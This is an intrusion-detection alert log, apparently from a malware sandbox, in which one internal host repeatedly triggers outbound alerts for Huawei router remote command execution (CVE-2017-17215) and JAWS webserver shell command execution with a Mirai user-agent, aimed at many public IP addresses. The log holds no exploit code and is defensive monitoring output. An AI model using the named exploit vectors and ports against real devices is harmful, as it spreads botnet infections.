2024-12-03T23:02:42.041681+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58698	41.41.77.142	37215	TCP
2024-12-03T23:02:42.254041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56910	197.0.61.73	37215	TCP
2024-12-03T23:02:42.260310+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33410	156.3.103.151	37215	TCP
2024-12-03T23:02:42.276012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39430	156.46.39.255	37215	TCP
2024-12-03T23:02:42.394409+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51106	39.172.92.98	80	TCP
2024-12-03T23:02:42.394409+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51106	39.172.92.98	80	TCP
2024-12-03T23:02:42.432100+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50440	174.205.199.195	80	TCP
2024-12-03T23:02:42.432100+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50440	174.205.199.195	80	TCP
2024-12-03T23:02:42.432244+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47812	44.133.115.193	80	TCP
2024-12-03T23:02:42.432244+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47812	44.133.115.193	80	TCP
2024-12-03T23:02:42.432314+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60986	47.69.60.56	80	TCP
2024-12-03T23:02:42.432314+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60986	47.69.60.56	80	TCP
2024-12-03T23:02:42.456933+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50248	105.181.157.118	80	TCP
2024-12-03T23:02:42.456933+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50248	105.181.157.118	80	TCP
2024-12-03T23:02:42.463402+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35546	112.153.77.29	80	TCP
2024-12-03T23:02:42.463402+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35546	112.153.77.29	80	TCP
2024-12-03T23:02:42.473423+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50222	223.221.42.150	80	TCP
2024-12-03T23:02:42.473423+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50222	223.221.42.150	80	TCP
2024-12-03T23:02:42.487652+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59058	50.72.83.55	80	TCP
2024-12-03T23:02:42.487652+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59058	50.72.83.55	80	TCP
2024-12-03T23:02:42.494593+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36820	132.68.104.254	80	TCP
2024-12-03T23:02:42.494593+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36820	132.68.104.254	80	TCP
2024-12-03T23:02:42.503616+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47990	92.67.145.75	80	TCP
2024-12-03T23:02:42.503616+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47990	92.67.145.75	80	TCP
2024-12-03T23:02:42.519267+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55890	170.143.90.165	80	TCP
2024-12-03T23:02:42.519267+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55890	170.143.90.165	80	TCP
2024-12-03T23:02:42.519501+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34506	93.138.26.69	80	TCP
2024-12-03T23:02:42.519501+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34506	93.138.26.69	80	TCP
2024-12-03T23:02:43.197503+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55124	41.255.173.103	37215	TCP
2024-12-03T23:02:43.229002+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55552	41.52.235.187	37215	TCP
2024-12-03T23:02:43.238318+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49548	41.8.197.197	37215	TCP
2024-12-03T23:02:43.244460+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60838	156.112.126.186	37215	TCP
2024-12-03T23:02:43.244536+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49420	156.50.86.80	37215	TCP
2024-12-03T23:02:43.244633+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52852	41.159.173.195	37215	TCP
2024-12-03T23:02:43.363146+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36662	197.11.27.46	37215	TCP
2024-12-03T23:02:43.378796+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35212	41.116.122.219	37215	TCP
2024-12-03T23:02:43.394354+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37402	156.89.132.228	37215	TCP
2024-12-03T23:02:43.400705+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44150	197.55.108.16	37215	TCP
2024-12-03T23:02:43.410071+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50370	197.104.84.220	37215	TCP
2024-12-03T23:02:43.456992+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41450	156.5.118.117	37215	TCP
2024-12-03T23:02:45.244681+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34180	24.135.171.22	80	TCP
2024-12-03T23:02:45.244681+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34180	24.135.171.22	80	TCP
2024-12-03T23:02:45.253897+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36014	197.125.203.243	37215	TCP
2024-12-03T23:02:45.363662+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53140	51.205.82.213	80	TCP
2024-12-03T23:02:45.363662+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53140	51.205.82.213	80	TCP
2024-12-03T23:02:45.369197+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57668	156.209.146.25	37215	TCP
2024-12-03T23:02:45.441271+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34138	197.143.94.42	37215	TCP
2024-12-03T23:02:46.166588+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45734	221.112.221.185	80	TCP
2024-12-03T23:02:46.166588+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45734	221.112.221.185	80	TCP
2024-12-03T23:02:46.182346+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39318	150.77.11.31	80	TCP
2024-12-03T23:02:46.182346+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39318	150.77.11.31	80	TCP
2024-12-03T23:02:46.182353+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60260	218.156.44.131	80	TCP
2024-12-03T23:02:46.182353+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60260	218.156.44.131	80	TCP
2024-12-03T23:02:46.182458+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48638	5.170.20.82	80	TCP
2024-12-03T23:02:46.182458+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48638	5.170.20.82	80	TCP
2024-12-03T23:02:46.182636+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49036	195.23.137.128	80	TCP
2024-12-03T23:02:46.182636+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49036	195.23.137.128	80	TCP
2024-12-03T23:02:46.182806+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36354	5.197.2.57	80	TCP
2024-12-03T23:02:46.182806+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36354	5.197.2.57	80	TCP
2024-12-03T23:02:46.197668+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49076	171.114.61.171	80	TCP
2024-12-03T23:02:46.197668+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49076	171.114.61.171	80	TCP
2024-12-03T23:02:46.198162+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55606	187.63.41.175	80	TCP
2024-12-03T23:02:46.198162+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55606	187.63.41.175	80	TCP
2024-12-03T23:02:46.198219+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45856	180.176.144.194	80	TCP
2024-12-03T23:02:46.198219+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45856	180.176.144.194	80	TCP
2024-12-03T23:02:46.229074+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36796	50.132.187.194	80	TCP
2024-12-03T23:02:46.229074+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36796	50.132.187.194	80	TCP
2024-12-03T23:02:46.229163+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40416	39.50.202.106	80	TCP
2024-12-03T23:02:46.229163+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40416	39.50.202.106	80	TCP
2024-12-03T23:02:46.238469+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37046	119.65.57.177	80	TCP
2024-12-03T23:02:46.238469+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37046	119.65.57.177	80	TCP
2024-12-03T23:02:46.238582+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33688	80.230.160.123	80	TCP
2024-12-03T23:02:46.238582+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33688	80.230.160.123	80	TCP
2024-12-03T23:02:46.238653+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40516	122.193.77.236	80	TCP
2024-12-03T23:02:46.238653+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40516	122.193.77.236	80	TCP
2024-12-03T23:02:46.238834+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52144	98.124.81.226	80	TCP
2024-12-03T23:02:46.238834+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52144	98.124.81.226	80	TCP
2024-12-03T23:02:46.244529+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34840	68.151.41.220	80	TCP
2024-12-03T23:02:46.244529+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34840	68.151.41.220	80	TCP
2024-12-03T23:02:46.244613+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60268	168.193.104.173	80	TCP
2024-12-03T23:02:46.244613+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60268	168.193.104.173	80	TCP
2024-12-03T23:02:46.244707+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56798	104.163.127.221	80	TCP
2024-12-03T23:02:46.244707+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56798	104.163.127.221	80	TCP
2024-12-03T23:02:46.244939+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37478	20.8.82.252	80	TCP
2024-12-03T23:02:46.244939+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37478	20.8.82.252	80	TCP
2024-12-03T23:02:46.253642+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42796	14.210.195.118	80	TCP
2024-12-03T23:02:46.253642+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42796	14.210.195.118	80	TCP
2024-12-03T23:02:46.253818+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59238	181.220.26.32	80	TCP
2024-12-03T23:02:46.253818+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59238	181.220.26.32	80	TCP
2024-12-03T23:02:46.253879+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47670	1.3.136.201	80	TCP
2024-12-03T23:02:46.253879+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47670	1.3.136.201	80	TCP
2024-12-03T23:02:46.253994+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55180	156.26.199.236	37215	TCP
2024-12-03T23:02:46.254131+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45134	161.233.72.255	80	TCP
2024-12-03T23:02:46.254131+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45134	161.233.72.255	80	TCP
2024-12-03T23:02:46.254255+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36474	204.240.163.135	80	TCP
2024-12-03T23:02:46.254255+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36474	204.240.163.135	80	TCP
2024-12-03T23:02:46.254345+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59416	165.11.16.72	80	TCP
2024-12-03T23:02:46.254345+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59416	165.11.16.72	80	TCP
2024-12-03T23:02:46.254406+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39458	12.132.132.232	80	TCP
2024-12-03T23:02:46.254406+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39458	12.132.132.232	80	TCP
2024-12-03T23:02:46.254497+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33752	200.159.220.23	80	TCP
2024-12-03T23:02:46.254497+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33752	200.159.220.23	80	TCP
2024-12-03T23:02:46.254648+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35672	25.127.18.49	80	TCP
2024-12-03T23:02:46.254648+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35672	25.127.18.49	80	TCP
2024-12-03T23:02:46.254767+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38090	113.46.88.240	80	TCP
2024-12-03T23:02:46.254767+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38090	113.46.88.240	80	TCP
2024-12-03T23:02:46.260150+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57280	41.150.177.69	37215	TCP
2024-12-03T23:02:46.285090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49592	130.68.95.125	80	TCP
2024-12-03T23:02:46.285090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49592	130.68.95.125	80	TCP
2024-12-03T23:02:46.285237+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42934	131.29.112.216	80	TCP
2024-12-03T23:02:46.285237+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42934	131.29.112.216	80	TCP
2024-12-03T23:02:46.285538+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55004	156.136.92.139	37215	TCP
2024-12-03T23:02:46.510384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58616	197.192.56.49	37215	TCP
2024-12-03T23:02:46.527126+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34934	197.57.140.23	37215	TCP
2024-12-03T23:02:46.535115+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33782	156.60.180.106	37215	TCP
2024-12-03T23:02:47.260229+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60668	210.51.145.27	80	TCP
2024-12-03T23:02:47.260229+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60668	210.51.145.27	80	TCP
2024-12-03T23:02:47.275850+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45438	149.64.159.201	80	TCP
2024-12-03T23:02:47.275850+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45438	149.64.159.201	80	TCP
2024-12-03T23:02:47.291294+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41586	99.199.126.175	80	TCP
2024-12-03T23:02:47.291294+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41586	99.199.126.175	80	TCP
2024-12-03T23:02:47.322918+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50106	59.191.121.49	80	TCP
2024-12-03T23:02:47.322918+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50106	59.191.121.49	80	TCP
2024-12-03T23:02:47.331990+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33984	93.251.103.37	80	TCP
2024-12-03T23:02:47.331990+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33984	93.251.103.37	80	TCP
2024-12-03T23:02:47.332135+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43590	66.238.208.22	80	TCP
2024-12-03T23:02:47.332135+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43590	66.238.208.22	80	TCP
2024-12-03T23:02:47.332183+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53098	201.80.204.171	80	TCP
2024-12-03T23:02:47.332183+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53098	201.80.204.171	80	TCP
2024-12-03T23:02:47.347821+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46072	188.77.166.65	80	TCP
2024-12-03T23:02:47.347821+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46072	188.77.166.65	80	TCP
2024-12-03T23:02:47.347923+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41476	198.92.160.229	80	TCP
2024-12-03T23:02:47.347923+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41476	198.92.160.229	80	TCP
2024-12-03T23:02:47.488300+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38320	160.20.120.8	80	TCP
2024-12-03T23:02:47.488300+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38320	160.20.120.8	80	TCP
2024-12-03T23:02:48.354833+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33278	87.158.2.238	80	TCP
2024-12-03T23:02:48.354833+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33278	87.158.2.238	80	TCP
2024-12-03T23:02:48.378871+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38772	45.124.116.58	80	TCP
2024-12-03T23:02:48.378871+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38772	45.124.116.58	80	TCP
2024-12-03T23:02:48.394237+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53172	99.159.215.103	80	TCP
2024-12-03T23:02:48.394237+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53172	99.159.215.103	80	TCP
2024-12-03T23:02:48.410304+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51628	192.222.27.101	80	TCP
2024-12-03T23:02:48.410304+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51628	192.222.27.101	80	TCP
2024-12-03T23:02:48.441784+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34526	89.150.199.164	80	TCP
2024-12-03T23:02:48.441784+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34526	89.150.199.164	80	TCP
2024-12-03T23:02:48.603839+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50074	104.166.6.132	80	TCP
2024-12-03T23:02:48.603839+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50074	104.166.6.132	80	TCP
2024-12-03T23:02:48.644515+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38738	92.192.221.139	80	TCP
2024-12-03T23:02:48.644515+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38738	92.192.221.139	80	TCP
2024-12-03T23:02:48.650915+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43768	163.251.100.28	80	TCP
2024-12-03T23:02:48.650915+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43768	163.251.100.28	80	TCP
2024-12-03T23:02:48.650958+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47616	60.191.55.28	80	TCP
2024-12-03T23:02:48.650958+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47616	60.191.55.28	80	TCP
2024-12-03T23:02:48.660213+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45346	2.74.167.133	80	TCP
2024-12-03T23:02:48.660213+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45346	2.74.167.133	80	TCP
2024-12-03T23:02:48.660343+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55370	93.231.170.133	80	TCP
2024-12-03T23:02:48.660343+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55370	93.231.170.133	80	TCP
2024-12-03T23:02:48.894117+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45244	41.44.228.132	37215	TCP
2024-12-03T23:02:49.760338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36558	197.182.209.212	37215	TCP
2024-12-03T23:02:49.760511+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41090	197.19.209.243	37215	TCP
2024-12-03T23:02:49.760692+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36496	41.179.221.225	37215	TCP
2024-12-03T23:02:49.760726+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51506	41.91.72.23	37215	TCP
2024-12-03T23:02:49.760850+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59622	156.209.190.249	37215	TCP
2024-12-03T23:02:49.760935+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44572	41.22.58.216	37215	TCP
2024-12-03T23:02:49.775735+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36738	41.42.182.216	37215	TCP
2024-12-03T23:02:49.785033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57656	156.229.43.2	37215	TCP
2024-12-03T23:02:49.800711+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46962	41.248.210.177	37215	TCP
2024-12-03T23:02:49.800936+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45004	156.129.171.208	37215	TCP
2024-12-03T23:02:49.800990+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59120	156.162.2.69	37215	TCP
2024-12-03T23:02:49.807075+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55600	41.47.209.171	37215	TCP
2024-12-03T23:02:49.807139+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37304	41.101.210.154	37215	TCP
2024-12-03T23:02:49.807246+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43634	197.59.183.118	37215	TCP
2024-12-03T23:02:49.816266+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34380	197.65.208.112	37215	TCP
2024-12-03T23:02:49.816381+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50668	156.151.31.7	37215	TCP
2024-12-03T23:02:49.816525+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55720	156.130.182.30	37215	TCP
2024-12-03T23:02:49.816650+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60878	197.82.8.118	37215	TCP
2024-12-03T23:02:49.816793+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43566	41.38.17.230	37215	TCP
2024-12-03T23:02:49.816877+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33480	41.128.181.89	37215	TCP
2024-12-03T23:02:49.816979+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41156	41.82.34.112	37215	TCP
2024-12-03T23:02:49.831961+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44152	41.124.213.62	37215	TCP
2024-12-03T23:02:49.847597+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39802	197.136.205.48	37215	TCP
2024-12-03T23:02:49.957302+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56452	197.245.12.91	37215	TCP
